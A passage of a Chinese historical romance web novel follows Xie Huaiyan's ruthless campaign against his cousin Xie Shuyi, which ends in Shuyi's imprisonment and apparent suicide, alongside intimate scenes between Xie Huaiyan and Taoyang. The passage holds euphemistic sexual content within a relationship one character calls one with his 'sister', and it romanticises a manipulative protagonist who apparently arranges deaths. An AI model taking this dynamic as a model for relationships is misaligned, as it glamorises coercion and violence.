桃漾身上未着衣物,猝不及防的坐起身,还未回过神来,谢怀砚宽大手掌已又在她腰间用力,迫使她俯下身,双手支撑着按在他宽大肩上。 圆润如玉,这样凑上来,谢怀砚一口衔住,舌齿相磨,吃了一个再一个。 桃漾轻吟,眸光潋滟,欲直起身,再被他给按回来。 缠绵一番后,谢怀砚抱着桃漾起身去了碧月阁的温泉池,池中秋千摇晃,旖旎情动,鱼水之欢,极为相合。 再回到碧月阁,桃漾躺在枕上就睡下,谢怀砚神色散漫,在枕上侧首看她,心中终于畅快。 —— 翌日,桃漾起身用过早膳后,未往桂月园回,就坐在碧月阁的八角古亭内,抚弄着石桌前的那把乌木古琴。 谢怀砚自刺史府回来时,她正站在古琴前认真的拨弄,身边也未有琴谱,拨弄出的声调高低不平,时乱时稳,与夏日里的蝉鸣一般聒噪让人不适。 谢怀砚记得,她说她不懂琴。 他只以为她是在胡乱摆弄,直到再走近些,谢怀砚眉心微抬,在桃漾面颜上看了一眼,他走进八角古亭,高大身量自桃漾身后将她拥在怀中,阵阵檀香气息扑面而来。 他嗓音温润道:“昨夜琴弦断了,是空渊在调琴。” 桃漾在他怀中回过身,抬眸看他:“什么?” 她眸光澄亮,透着几许懵懂,谢怀砚垂眸看她,不禁轻笑:“记性不错,”他抬手在桃漾秀巧鼻尖轻点,再道:“既能循着记忆把昨夜空渊调琴的调子抚出来,如何告诉我不懂琴?” 他的指节在桃漾鼻尖轻摩,弄的桃漾痒痒的,桃漾侧首微微一躲,见谢怀砚的指节落空,她微微倾身,檀口微张,把他修长指节含在口中,贝齿轻轻咬住。 谢怀砚指腹间温热,带着黏湿,在她口中微动,桃漾再松开口,轻声道:“我只懂皮毛,若要自谦,便是不懂。”谢怀砚闻言轻笑,转过她的肩膀让她再转向乌木古琴,低声道:“我来教你。” 谢怀砚的琴出自名门大儒崔老先生,名动南北朝,崔老先生曾言:‘此生只此一学生足矣’,他在桃漾身后抬手,骨节分明,修长指节落在琴弦上,拂动间带来悠扬琴音,宽大袍袖处以金银绣线绣出的仙鹤如同活了般,灵动的翱翔。 桃漾垂眸看着,道:“我没有自己的琴。” 谢怀砚随口回她:“让人带你去库房里挑一张。” 桃漾在他身前摇头,随后偏转过头扬起下颌来看他:“这把乌木古琴材质上等,手感也不错,我想要这张。” 谢怀砚闻言垂眸来看她,桃漾眉眼温和,带着浅浅弧度,直直的看着他,唇瓣红润如樱,就在眼前,咫尺可得。 他俯身尝上一口,轻笑:“你倒是会挑,这张乌木古琴是我老师所赠,库房里的琴皆不凡,尽是名家所作,先去挑一挑。” 桃漾还是摇头,神色间带了几许执拗与任性:“我就要这张,你若不给,我便不学了。”轻柔的话语带着点点胁迫人的意味,谢怀砚不由失笑,语气平和应她:“这么喜欢,送你便是。” 他拦腰将桃漾抱在怀中,在石桌前坐下,面庞清隽,一双桃花眼潋滟,显出风流:“如此这般,可能换得佳人一笑么?” 他神色欢愉,心情不错,桃漾对他轻轻莞尔。 谢怀砚眉心微抬:“嗯?” 桃漾双腕抬起,攀在他后颈,凑上前在他薄润的唇上轻轻亲了下。 桃漾得了这张琴,倒是很用心的在碧月阁学了几个时辰,从前在阳夏,她的琴棋书画都是桓馥教的,底子算不上差,学琴时倒是丝毫不费力。 待在碧月阁和谢怀砚一同用过午膳,桃漾才回了桂月园去。 —— 这些日子府中发生的事多,加之天气越发的寒凉,黄叶满地飘落,显得极为冷清。 桃漾回到桂月园后,刚一踏上抄手游廊,就有一洒扫婢女走上前来,递给她一只精巧的檀木盒,低声道:“奴婢一早在院门前洒扫时,捡拾到了这个,见上面写了是送给姑娘的,就先收了起来。” 桃漾闻言神色微疑,自婢女手中接过后打开,见檀木盒内是一对碧色竹结玉簪,她眉心微皱,这对玉簪她很熟悉,是那日她和谢书易一道去首饰铺子里曾见到过的。 桃漾拿起竹结玉簪,见檀木盒底果真还有一纸条,上面字迹沉稳劲力:“那日见桃漾妹妹喜欢这对竹结玉簪,当时不敢送与,怕妹妹回绝,既已送来,还望桃漾妹妹能收下,竹乃君子之风,桃漾妹妹品性高雅,与之极为相衬。” 桃漾垂眸看上片刻,示意婢女下去,将手中檀木盒合上后回了竹院。 待到第二日,桃漾正在竹院里闲坐着翻看书卷,有婢女前来回禀:“姑娘,二房的大少夫人来了。”桃漾听在耳中时不由轻疑:“大少夫人?” 婢女口中所言,是谢书易的夫人简氏。 简氏自幼体弱,常在院中养病,因着嫁入淮阳谢氏三载却迟迟未有身孕,不得谢老夫人的喜欢,桃漾与她未曾说过话,只在老夫人的存玉堂里见过数面,桃漾实在未料到,简氏会来竹院里见她。 “让她进来。” 不多时,简氏在婢女的陪同下走过来,她一袭素雅衣衫,面容清瘦,与桃漾温声道:“适才来给夫人问安,想到桃漾妹妹如今住在此处,便来小坐一会儿。” 桃漾对她莞尔,抬手给她添了杯温茶:“这是玫瑰蜜饮,大嫂嫂可喝的惯么?”简氏对她颔首:“我尝尝。” 简氏不是个话多的人,在桃漾这里坐上有一刻钟,与桃漾直言道:“明儿我想去城外的大源湖游船,也邀了几位府中的其他妹妹,桃漾妹妹可有空闲去么?” 桃漾乌眸含笑看着简氏,思及谢怀砚与她说过的话,对简氏颔首:“大嫂嫂能想 着我,带我一道去游船,我自是愿意的,“桃漾抬眸往四下里看了看:“我在这院中闲着也是无趣。” 如此,简氏与桃漾约好明日一早在府门前一道出城,因着出发的早,便不去存玉堂里给谢老夫人请安。 待到第二日,桃漾头上戴了帽笠早早的就在门外马车内等着简氏,只是,她在这里待了许久,也不见有府中其他的女郎出门。 简氏出了府门后,来到桃漾马车前,温声道:“嫣儿妹妹她们忽然有了别的事,一大早的与我说不去了,今儿就只有我和桃漾妹妹了。” 桃漾闻言回她:“无碍,只我和大嫂嫂也能清净些。” 简氏再与桃漾说了几句客气话后,被婢女扶着上了她的马车。 大源湖在淮阳城外二十里,是淮阳地界最大连接最广的湖,却不是游船最好的去处,三面为山,一面为密林,太过幽静。 马车行驶的缓慢,走了近一个时辰才行驶至密林中的官道,已是晚秋,林木中黄叶飞落,铺了一地金黄,简氏的马车在前,桃漾的马车跟在后面。 不多时,密林之中似是忽然起了一阵疾风,吹动的树叶唰唰作响,桃漾意识到不对时,抬手掀开车帘,只见密林两侧的粗壮树木后涌出几十蒙面黑衣人,正提刀向她们这两辆马车而来。 简氏的马车已停下,此次与她们随行的部曲纷纷上前护在马车周围,与黑衣人打斗,桃漾刚合上窗,马车车门就被人给推开,是简氏身边一身量高大的嬷嬷。 她神色焦急与桃漾道:“五姑娘,这里危险,快跟老奴走。”桃漾闻言慌乱的对她点头,直接就跳下了马车,这嬷嬷身量高大如男人,一手扯着简氏,一手扯着桃漾,就往密林深处走。 “少夫人和五姑娘放心,已有人往淮阳去报信,待府中人前来接应,定然无事的。” 这嬷嬷带着她们来到大源湖的分支河流,三面高山环绕,形成一巨大水坑,一眼望去,心中只觉压抑,如同天地为笼,被困在了这里。 桃漾正抬眸看着这里的地势,身侧的嬷嬷看她的目光已显露凶狠,竖掌抬起,就要落在桃漾颈后—— 半个时辰后,密林外传来阵阵马蹄声,响彻整个大源湖周侧,待为首之人带着几十部曲入了密林深处后,林中忽现上百黑衣蒙面人,如同一张巨大黑网,将骑马赶来的部曲围在其中,插翅难飞。 大郎君谢书易自一群黑衣人后骑马而出,神色冷沉,睨了气度淡然高坐在马背上为首之人一眼,扬声道:“谢怀砚,你果真是来了——” 为首之人调转马头,侧身看过来,谢书易神色瞬时变的惊骇,沉声问:“怎么是你,谢怀砚人呢!”谢三郎君谢循在马背上垂眸看他:“二哥公务繁忙,自是在刺史府处理公务,大哥是在等二哥来么?” 谢循高坐马背,唇边勾出一抹鄙夷的笑,与谢怀砚有上几许的相似,让谢书易瞧着格外的刺眼,他呵笑一声:“谢循,你就是谢怀砚的狗。” 府中人皆知,三郎君谢循最是敬重他二哥,与他关系甚笃,为他鞍前马后。 谢循闻言也不气,只落于身侧的手抬起,只见山林之中的部曲如石子滚落一般一冲而下,将谢书易的人通通围住,谢循高声吩咐:“都给捆起来!” 谢书易是淮阳谢氏长子,他父亲也是谢老夫人所出,他自认他没有哪里不如谢怀砚,唯一输给他的,便是他父亲不是谢氏家主。 他和谢怀砚年纪相仿,只因这一点,自幼他就不能和谢怀砚一样,他的君子六艺也一样登峰造极,可所有人的目光却都在谢怀砚身上。 年少时,是意气行事的不满,心中的不服,长大后,却是权利的角逐,谢怀砚年少时去了建康城,他就留在淮阳,后来谢怀砚回了淮阳任豫州刺史,他就去了建康城为官。 他从不比他差。 可他却又不得不承认,只要谢怀砚还活着,就没有他的立足之地,他就只能屈居他之下。 家主只他一子,只要谢怀砚死了,日后家主的位置自然是他的。 他只恨没有早些年就动手,太过仁慈,没能像谢怀砚一样,在他幼弟年少时就永绝了后患。 谢怀砚前段时日常不在淮阳,是去了建康城。 他设宴与在建康城为官的谢二爷谢三爷酣饮后,将建康城内谢氏所有的产业账目收回,谢三爷倒还好,倒是谢二爷问了句:“怀砚,为何你突然来建康,还要收——” 谢怀砚神色平和打断他:“自是我父亲授意,二叔觉得不妥?”谢二爷当即不再言语。 谢怀砚命人查了谢氏在建康产业的动向,谢书易在建康城为官的一年时日里,动用了谢氏近三成产业几十万两金银来拉拢朝中官员以及各门阀士族中人。 谢怀砚在建康城停留了十日,便有十二名与谢书易交好的官员入狱。 之后,他在府中设宴,邀了众门阀士族中人前来,他是淮阳谢氏家主嫡子,掌豫州兵马,早些年在建康城又拜了崔太傅为师,深得陛下看重,他外祖亦是陛下之师的王公,自是无人不给他这个面子。 酒酣曲尽,宾客相继离去,只剩下与谢书易交好的士族中人。 这些人自是知晓那入了狱的十二人,都未料到声名在外的谢二公子手段竟如此狠绝,不给人留一丝活路,此次赴宴本就是来也不是,不来也不是,此时如坐针毡,额间不由渗出冷汗。 谢怀砚高坐上首,神色平和:“留下各位,是怀砚深觉招待不周,特留了美酒款待。” 他抬手吩咐,有仆从手中端了托盘来,里面搁着金樽玉液。 在座士族中人面面相觑,无人敢饮杯中酒,有人当即站起身来,挤出笑道:“我已许久未写书信回家中,待回了府邸,立时便送急信回族中。”他话落,其余众人皆起身附和。 谢怀砚敛眸,神色温润,抬起拿起面前金樽,一饮而尽,随后开口道:“晚辈倒有一事相求。”其余人见状,心中皆松下口气,纷纷拿起金樽饮下杯中酒,回:“谢二公子只管言说。” 入了夜,空渊进书房来回禀:“公子,前院已堆满了箱笼,俱是各士族送还的。”谢怀砚淡淡颔首:“交与管家,这些人吃进去的都得吐回来。” 之后,谢怀砚再去了鹄川简氏,鹄川简氏是谢书易母亲的母家,也是他夫人的母家,鹄川这些年依附淮阳谢氏,在豫州的势力越发壮大。 只是,简氏曾经历过大起大落,家主从最初的大房一脉到后来的三房,如今任家主的是立下过战功的四房一脉,是以,简氏族中不睦,皆自负觊觎家主之位。 谢怀砚在简氏做客两日后回了淮阳。 他回淮阳那夜,简氏家主给谢书易去了封书信,告诉他当机立断,不可犹豫,简氏全族随时可助他。与此同时,谢书易在建康城与之交好者也给他写来了书信。 若他再不动手,谢怀砚就会要了他的命。 此时,谢书易身边的黑衣人与山林中一拥而下的部曲打斗成一团,谢书易神色不变,看着谢循,与他高声道:“三弟,你若此时助我,日后我定不会亏待了你。” 见谢循不理会,谢书易再道:“你以为我会不给自己留后路么?你难道不知谢怀砚这些年是如何行事?他得罪了不少士族,更是不顾礼义廉耻和自己的妹妹欢。好。” “竹陵桓氏的四郎君,沁源王氏的王九爷,都恨不得将他挫骨扬灰,待简氏中人带着他们前来,谢怀砚的恶名将公诸于众,你还要再拥 护他?” 谢循听着,不禁嘲弄一笑,这些人当然都不会来,竹陵桓氏四郎君成不了气候,王九爷早就瘸了腿,谁肯理他,至于简氏,如今已是族内斗成一团了吧。 谢书易见谢循执迷不悟,回身看过去,那名身量高大的嬷嬷拖着刚刚有些醒来的桃漾走过来,谢书易冷声对谢循道:“让谢怀砚立刻给我过来,不然我就杀了她。” 谢循神色一慌。 那嬷嬷抬手把桃漾推到谢书易身前,谢书易侧首看过去,刚欲挑开桃漾头上的帽笠,只见面前女子手中的利刃一晃,翻身一跃,上了他的马背,利刃已落在他颈间。 “你是谁?” 谢循见状,高声大喊:“都住手!” 山林高处一座破旧古亭内,谢怀砚长身玉立,神色淡漠,冷眼看着这一切,上一世给了他痛快,这一世,总得好生磋磨才是—— 谢书易被谢循带走,他的夫人简氏站在一棵高大的梧桐树后怔怔看着,谢书易让她去约桃漾来此时,她是不愿的,她低声道:“你与怀砚的事,何必牵连了她?” 谢书易神色冷漠:“谢怀砚不是喜欢她么,正好,让她给他陪葬,也好全了我这个做大哥的对他的关怀。” 此时,桃漾正坐在府中竹院内用着温茶,她曾在夜里梦到过谢书易,他神色温和,对他温柔的笑,甚至为她簪发,可她却莫名的很厌恶他。 第53章 学你不许,我怎敢。 几日后,十一月初,入冬。 淮阳城外别苑内,寒风阵阵,谢怀砚身披墨色大氅,走进一间封闭着的厢房。 自城外大源湖那日后,谢书易一直被关在此处,此时是酉时,屋外天光很暗,谢书易神色黯然的直直坐在榻边,身上只着了件薄衣,发丝凌乱。 听到屋门自外被推开的声响,他缓缓抬起眼眸来,眸光深幽的盯着来人。 谢怀砚在八仙桌前落座,抬眸看他一眼,淡淡道:“不是要见我么,大哥想说什么?”谢书易已几日不进水米,嘴唇泛白,嗓音亦干涩,哑声问谢怀砚:“为何不杀了我?” 谢怀砚闻言低笑:“我与大哥自幼一同长大,还舍不得大哥死。”谢怀砚的情绪向来不外露,谢书易漆黑的眸子在凌乱墨发下看他一眼,开口问:“是不敢吧?” 谢书易面色晦暗的笑了下:“我被你关在这里,你这些年做下的事早就有人散布整个豫州,”他笑的更甚:“六年前你在建康,设计害死自己的亲弟弟,大伯应是知晓了吧?” 他在谢怀砚身上打量,见谢怀砚身上不似有伤,未动用过家法,不禁眉心凝住,随后再笑道:“也是,你是大伯唯一的子嗣,他不会动你,可你和桃漾的事我也一并告知了他,谢怀砚,她也会因你而疯傻,因你而死。” “这些事传遍豫州,你已是声名狼藉,又能比我好到哪里去?”谢书易垂眸看了看自己待了几日的屋子,再看向谢怀砚,神色诡谲:“哦,对,我若再死在你手中,你便再多上一条谋害兄长的骂名。” 谢书易一句一句的说着,谢怀砚神色淡淡看着他,许久,他站起身:“可惜,要让大哥失望了。”他抬步就要走,谢书易猛的在榻边站起身,刚一走动就被身上的锁链所牵扯,他急喘着气:“谢怀砚,放了我——日后谢氏大郎君再不会出现。” 谢怀砚冷笑一声,大步出了房门。 他走出有一刻钟后,家仆再进来屋中,递给谢书易一封书信,上面的字迹谢书易不止认得,还很熟悉,是他父亲的手书。 他急忙打开书信,一目十行的先是过了一遍,最后颓丧的倒在地上,父亲竟在斥责他!斥他不该如此行事,手足相残,他在建康时做的事,父亲明明都知晓,如今却在责怪他! 他就这样成了一颗弃子—— 简氏那个贱人,竟还帮着谢怀砚! 谢书易神色癫狂,一把将手中书信撕了个粉碎,对着窗外嘶吼几声,再终回归于平静。 待到第二日午时,简氏来了这里。 她手中提了只食盒,里面都是谢书易爱吃的饭菜,进了屋中后,她把食盒打开,都搁在八仙桌上,谢书易身正体直坐在榻边,看都未看她一眼。 简氏摆好了饭菜后,就在八仙桌前坐下,抬眸看着谢书易,依旧是温温柔柔的声音:“这些饭菜都是母亲亲手为你做的,多少用上一口吧。” 谢书易合着眼眸不说话。 “二弟与父亲说,他会善待你的。”简氏顿了顿,自顾自的说着:“我知你不喜我,当初娶我也是被逼无奈,可却不知你竟厌恶我到了要我死的地步。” 简氏话落,一直合着眼眸的谢书易睁开眼看她一眼。 简氏起身,从袖袋里取出一份和离书连带着笔墨递给谢书易,神色清淡:“你在我的药里下毒之事,父亲母亲皆已知晓,我提出和离,他们也已应下。” 谢书易眸光直直看着眼前的和离书,随后抬手接过,看也未看就签上了自己的名字。 简氏面色自嘲的笑了下,将和离书收在手中,转身抬步往外走时,衣袖碰在八仙桌上,‘砰’的一声响,也不知掉落了什么物件。 待她踏出门槛时,脚下步子顿住,侧首再道:“你不愿我占着正妻之位,我亦不愿在你谢氏煎熬,与我提出和离我怎会不愿,何须如此!” 简氏走出很远,神色忧郁的抬手抚了抚小腹。 入夜,看守奴仆来到屋中,见桌上饭菜都未动过,谢书易还是坐在榻前一动不动,开口与他道:“这么好的饭菜公子不吃真是可惜了,亏得少夫人怀了身孕还来给你送饭菜。” 家仆话落许久,谢书易才抬眸看过来,眸光黑亮,怔愣许久,才动了动干涸的唇,却未能说出一句话来。 家仆再道:“少夫人的身子弱,整日里用着药,也不知这孩子——”他话还未说完,谢书易怒瞪向他,厉声大吼:“滚,滚出去——” 十一月中的时候,淮阳城下了这个冬日的第一场雪,家仆再次进屋中来与谢书易言说豫州内之事的时候,发现了谢书易身前的匕首,他在豫州早已声名狼藉。 谢氏府中每日里的热闹他都听在耳中,没有人念着他,没有人记起他,他已被完全的遗忘了—— 消息传入谢氏府中时,谢怀砚正与好友在墨园下棋,闻言神色惋惜:“大哥怎如此想不开,竟寻了短见——”他问家仆:“哪来的匕首?” 家仆回:“小人也不知,许是大郎君身上本就有的。” 谢怀砚淡淡‘嗯’了声:“去各院通传罢。” 家主谢蕴得知此事后,神色悲痛,与谢老夫人道:“书易是这些孩子中我最看好的一个,为人稳重,又极为重情义,虽走错了路,却依旧是谢氏儿郎,该当为他风光大葬。” 谢老夫人对谢蕴颔首,她神色黯淡,只道:“待老二回来,你和他商议着办吧。” 谢氏为谢书易风光大葬,丝毫未有怠慢,早些日子坊间皆知谢书易做下了何等残害至亲,品性不端之事,一时间,整个豫州都在盛传家主谢蕴为人宽厚,最是心善,待晚辈亦是宽容。 谢书易的事结束后,淮阳城又落了一场雪,比之前那回要大上许多,一夜之间,高门府邸处处染上雪白,枝丫屋檐无不挂着长长的冰凌。 冷风一吹,雪花细碎飞散,拂在人面,凉滋滋的。 一早,在老夫人的存玉堂里请过安,府中的女郎们都去堆雪人,小郎君们热闹着在地上滚雪球,一时间府中倒也都是欢声笑语,门匾之上的白绸似是被雪花淹没。 入夜后,桃漾和谢夫人一同进地道来了那处隐秘小院,小院内的青石板路已被嬷嬷清扫干净,只林木秋千上的雪还厚厚的堆积着。 桃漾走至八角古亭下后,踮起脚尖抬手触了触,谢夫人在古亭下落座,温声与她道:“小心冻了手。”桃漾回转过身来,对谢夫人莞尔,也在桌前坐下,抬手给谢夫人添了杯热茶。 雪夜冷寒,古亭下放置了好几盆的银丝碳,石桌上煮着热茶,谢夫人看了看桃漾,与她说着:“家主早些年在建康为官,身边有过一女子。” 桃漾未料到谢夫人忽然与她说这些,搁下手中杯盏朝她看过来。 谢夫人当初提醒桃漾若在酿酒赛可得了头筹,能与谢蕴讨得赏赐,她是为了让桃漾有一日可以在谢氏府中为自己谋得安身立命的机会。 可自那日从小善寺回来,她就后知后觉,桃漾理解错了她的意思,她毕竟还只是碧玉年华的姑娘,虽懂高门士族内的龌龊,却不能完全看透人心。 谢夫人有意与她多说上一些,免得她走错了路。 “坊间皆知,他是不得已与那女子在外共处一夜,为了女子家的清白才将她留在身边,”谢夫人轻叹:“我与他虽是士族联姻,那时的我年少,也有着与夫君琴瑟和鸣的憧憬,可嫁进谢氏的第二年,我就发现他有心上人。” “这个心上人不是别人,是他在司州任职时的下属之妻,后来,他的那位下属故去,那女子孀居在府中,他就把她带去了建康城。” “后来,坊间所传闻的故事,不过是他自导自演的一出戏罢了。既要清名,又想抱得美人归,那时,我与他刚新婚不过两年,自知晓此事后,我便没有随他去建康,独自留在淮阳。” 桃漾如今再听到这样的事,神色已很是清淡,她轻声问谢夫人:“那女子如今当真是出了家么?”谢夫人对她颔首:“城外的清心庵便是谢蕴为她所修建,她如今在那里。” 桃漾闻言唇瓣翕动,还想再问什么,却未能再开口。 她和谢夫人在小院品茶闲谈直至亥时,才再回了她的竹院,回到榻上躺下,却有些睡不着,便让水兰取来她的狐裘,围的严严实实后挑灯往谢怀砚的墨园去。 雪夜赏梅,抚琴观月,饮酒作诗。 虽已至亥时,墨园里依旧灯火通明,如同坊间街市,梅林内,几位郎君兴意正盛,貌美婢女在身侧为其添着酒,剥着果子,好不乐哉。 一郎君用了口酒,看向谢怀砚:“怀砚兄,你这是做什么,让空渊一个随侍在身边侍奉,”他顿了顿,再端起酒杯:“看来怀砚兄好事将近,与卢七姑娘就要修成正果了。” 谢怀砚薄唇勾笑:“是好事将近,不过,岁宁兄说错了人。”他话落,空谷走近,在他身边低声道:“公子,五姑娘来了。” 桃漾很少来谢怀砚的墨园,不过,因近来落雪,鹿鸣山中去岁刚种下的梅树还未长成,谢怀砚常居在墨园里,还要在梅林教她作画,她这几日也就总来这里见他。 桃漾这段时日不止夜里常和他待在一处,白日里谢怀砚忙完公务两个人也是在一处,她跟谢怀砚学了半月时日的琴,学有所成,也学腻了。 就开始与他学作画、学书法。 整日里似乎忙不完,忙完的时候也要在他身侧帮他研磨。 桃漾此时就站在梅林的入口处,谢怀砚刚一走出,就看到她裹的严严实实只露出一张染了绯红的脸,他轻笑,抬手在她脸上轻轻捏了下:“进屋去。” 桃漾回他:“我不冷。” 她脚下步子不动,乌黑眸光看着梅林内,谢怀砚将她揽在怀中,低声问她:“要去赏梅么?”桃漾收回眸光,对他摇了摇头:“我不认得他们。” 谢怀砚轻笑:“随我去了不就认得了。” 桃漾再对他摇头:“不去,”她默了默:“你去和他们赏梅吧,我没什么事。” 谢怀砚揽的她更紧:“夜深了,也该散了。”桃漾轻应一声,再抬眸看过去一眼,见几位郎君身侧都是貌美婢女服侍,谢怀砚的位置处空渊已不在,她回身对着谢怀砚轻轻凝眉。 谢怀砚神色温和看着她,俯身在她唇上轻吻,好听的嗓音染了淡淡酒香气,略显低哑:“你不许,我怎敢再让女子服侍,是空渊随侍的。” 桃漾对他应声,踮起脚尖在他唇上亲了下,吐气如兰道:“怀砚哥哥,我们去鹿鸣山泡温泉吧。” 第54章 走来年 空谷上前将墨色大氅递给谢怀砚,再递给他一只暖手炉。 雪夜冷寒,这个时辰的府中烛火虽明亮,却空无一人,只有风吹枝丫的萧萧声响。 桃漾冬日里极为怕冷,身上的藕荷色狐裘裹得严严实实,怀中再抱着谢怀砚塞给她的暖手炉,另一只手被他宽大手掌握在手中,和他并肩往鹿鸣山中去。 桃漾轻声问他:“咱们什么时候回鹿鸣山住?” 谢怀砚侧首看她:“这般不喜欢墨园?” 桃漾对他点头:“我在鹿鸣山住习惯了,如今冬日里天气冷,正好可以在温泉池里待着祛寒。” 谢怀砚闻言对她颔首:“那日后就都住在鹿鸣山。” 两人相伴而行,虽然墨园离得鹿鸣山有些距离,闲谈着倒也很快就到了碧月阁。外面山中积雪堆积,厚厚的一层,碧月阁内活水泉流淌,铺面而来几分热气,不见白雪。 桃漾到了碧月阁后,就把身上厚厚的狐裘给褪下,也不用婢女上前来侍奉,褪下衣裙就踩着木梯下了水,谢怀砚在池边看着她将身子没入泉水中,不由抬眉:“怎这般畏冷。” 桃漾纤背靠在一块温热圆石上,觉得舒服很多,与他道:“年少时冻伤过一回,自那后每到冬日里就暖不热手脚,用过汤药也没什么用。” 谢怀砚也下了温泉池,问她:“冻伤?”桃漾只轻‘嗯’了声,再不愿说了。 待在温泉池中泡上有半炷香的时辰,两人身上都只着单薄中衣,肌肤相贴,怎能不生旖旎,谢怀砚饮了酒,兴意正浓,未及回卧房,在温泉池内的竹榻上欢。好相合。 月色皎洁,直至月影西斜。 清理一番,桃漾两只玉脚踩在一块不大的圆石上,站高了贴在谢怀砚怀中,她面靥绯红,眸中情动未散,纤柔指腹落在谢怀砚左侧肩膀上。 劲瘦的宽肩上,流畅锁骨下,有一块指腹大小的伤疤。 瞧上去已有些年头,可疤痕依旧很深,似是永远都去不掉了。桃漾再踮起脚尖趴在他肩上,往他肩后去瞧,肌肉线条分明的肩背后也有这样一个大小的伤疤。 他的这道伤,是箭伤。 直穿了整个肩膀。 桃漾低声问他:“谁射的?” 谢怀砚垂眸看她,淡淡道:“一个陌生人,已经死了。” 桃漾今夜这么晚来见谢怀砚,是心中有话想问他,她在谢夫人那里听了许多,忽然记起从前在墨园时听秋霜说起的那桩闲谈——家主不止一子。 那个孩子名为谢炳,在十三岁时溺水而亡。 她记得秋霜说谢炳溺水时,她家公子是在建康城的。 桃漾再问他:“是,谢炳么?” 谢怀砚闻言眉心微动,见桃漾神色中满是好奇,将她拦腰抱起,低声道:“回榻上说。”他抱着桃漾回了卧房,并未多说,只简单解了桃漾的疑惑。 当年,谢怀砚随他父亲谢蕴在建**活过两年。 谢炳第一次见到这个大他四岁被父亲告知他应该称作兄长的人时,便只敢怯怯的上前去见礼,他兄长是父亲唯一的嫡子,声名在外,大儒为师,矜贵、骄傲、如在云巅,让他不敢靠近,不敢冒犯。 可他还是不止一次的得罪了他。 兄长从未与他计较,也未理会过他,他知道,这不是兄长对他关怀宽容,而是他从未入过兄长的眼,兄长不屑于理会他。 直到那回,他在府中练习骑射,不小心将手中的箭射偏,正好穿透了兄长的左肩。 他惊的从马上摔下来,隔得很远,就连连给兄长道歉,说他并非是有意的,而兄长似乎感知不到痛一般,侧首抬眸,在他身上淡淡扫过一眼。 几日后,正是立春江面破冰的时节,谢炳唯一的喜好便是喜食新鲜鱼脍,这日,他昔日好友邀他一同坐船捕鱼,尝个鲜,谢炳立时应允,前去父亲书房与他告知此事时,父亲却是外出不在。 他便留了 话,和好友一同坐船入江,这日也是巧了,往日里如何也寻不得的肥大鲈鱼竟是在船只一侧一跃而起,谢炳一时欣喜,就要亲自去捕捞,仆人几番相劝都无用,不成想,他一个没握稳,却是掉落在了江水中。 江水滔滔,冰凉寒冷…… 桃漾枕在谢怀砚手腕上,乌眸明亮看着他:“为何不把伤痕给去了?”谢怀砚垂眸看上一眼,薄唇勾笑:“你一直盯着看,是觉得碍眼?” 桃漾对他摇头:“不是,就是好奇,这么深的伤当时应该很骇人吧?”她忽然在谢怀砚怀中坐起身,爬到床榻里侧的木屉前,取出一罐药膏,回身与谢怀砚道:“我给你上药。” 这伤痕经年已久,恐再难去掉,谢怀砚见她神色认真,对她应了声。 桃漾将冰凉药膏沾在指腹,再一点一点给他涂抹在伤痕上,伤口的位置正在锁骨下,桃漾把药罐往谢怀砚宽大分明的锁骨上一搁,认真的给他涂药。 待前后都涂抹好后,已是夜半时分,桃漾掩手打了个哈欠,倒在谢怀砚怀中就睡下了。 之后的几日,天气都不大好,始终不见暖阳,府中各处依旧堆积着雪层,格外的冷,谢老夫人吩咐下来,让各房都不必再去存玉堂里请安。 桂月园离得鹿鸣山有些距离,桃漾也懒得整日里来回走动,就一直住在了鹿鸣山中。 秋日的时候,陈月漪在香苑摘了不少的百花瓣,都晾晒好后收在了竹筒中,桃漾闲来无事时,让陈月漪把这些晒干了的花瓣都取出来,做了一些香薰后,还剩好些。 她把花瓣研磨成粉,再加之莲子粉,与药师请教一番,做成了去除伤痕的药膏。 夜里,谢怀砚自外回到鹿鸣山时,桃漾刚在妆奁前整理好满头青丝,瞧见他回来,走上前去,将莹白手腕凑在他鼻间,轻声问:“好闻么?” 她朝谢怀砚这里走过来的时候,谢怀砚就闻到了她身上淡淡的花香,以及花香里渗透着的莲子的清甜气息,他眉心微动,将桃漾揽在怀中,问她:“新做的香粉么?” 桃漾乖乖对他点头:“我见香苑里的花瓣都被收着,就寻了医师做了份香粉药膏,”她抬手往谢怀砚左肩上点了点:“你这伤疤时日太久,怕是要涂抹上好些日子,用这个更好。” 上了榻,自是一番欢愉,极为融洽,沉溺在令人窒息的情。欲之中。 沐浴后,桃漾再为谢怀砚涂抹了药膏,因着她做的药膏里掺了大量的花粉,不止给谢怀砚涂抹在了伤疤上,也把整个劲瘦分明的后背都给涂抹了一遍。 十二月初的时候,一连几日都是大好晴日,日光明媚,桃漾喂那头小象吃树叶时,忽然起了骑马的兴致,谢怀砚就带她去府中马厩里挑选了一匹温顺的白马。 鹿鸣山中到了冬日,没什么景色可赏,只是,山中有好些活水泉,府中无论是女郎还是郎君都常来此泡温泉,府中的夫人们到了冬日也爱常来。 桃漾让谢怀砚教她骑马,可他们之间毕竟不能明着来,第二日的时候,谢怀砚命人引了活水泉进府中,随后封了鹿鸣山。 他忙完公务回来时,桃漾正动作生涩的骑在马背上,由马儿带着一点一点的在干草地上走,她从前在阳夏时骑过几回马,都是由下人牵着走的,不甚熟悉。 谢怀砚身量高大,身披墨色大氅走上前,抬手给桃漾扶了扶腰:“挺直。”桃漾骑在马背上,和谢怀砚一样的高,乌眸明亮看着他,按他口中所言一一照做。 冬日午时的日光很暖,桃漾骑着马儿在鹿鸣山的草地跑上几个来回后,面靥染上桃红,气息泛着热气,微微喘息,骑到谢怀砚身侧时,问他:“午后再练,成么?” 谢怀砚上前,抬眸看了眼日光所在的位置,翻身上马,带着桃漾在广阔的鹿鸣山中跑马。 一连几日,桃漾都在学骑马,谢怀砚带着她跑马跑的累了,两个人就再一道去碧月阁的温泉池内,水汽朦胧,更显旖旎,欢。好一番,愈发纵情。 这样的日子过的很快,十二月中的时候,淮阳城飘下了这个冬日里的第三场雪,谢氏府中也终于添了件喜事,四房的儿媳卢双萱诞下了一个女婴。 府中沉闷了这许久后,终于再热闹起来。 卢双萱因着当初谢四郎君与谢婉之事闹了一场后,心中就不大爽快,这些日子虽情绪好了些,谢四郎君也在祠堂受了罚,可她心里还是总不舒坦。 为此,她早产诞下这个孩子。 这段时日发生了这么多事,谢老夫人心中也终于顺了口气,给了四房众多赏赐,与谢蕴商议在府中大摆宴席,还亲自为这个重孙女起了名字。 雪天出生,名为谢含雪。 桃漾随着谢夫人带了补品来四房看卢双萱,也见了她的孩子,当时谢老夫人也在,与卢双萱道:“瞧瞧这身子弱的,你怀着身孕,跟他计较什么。” “有了孩子,日后也就有了寄托,宽宽心把日子给过好咯。” 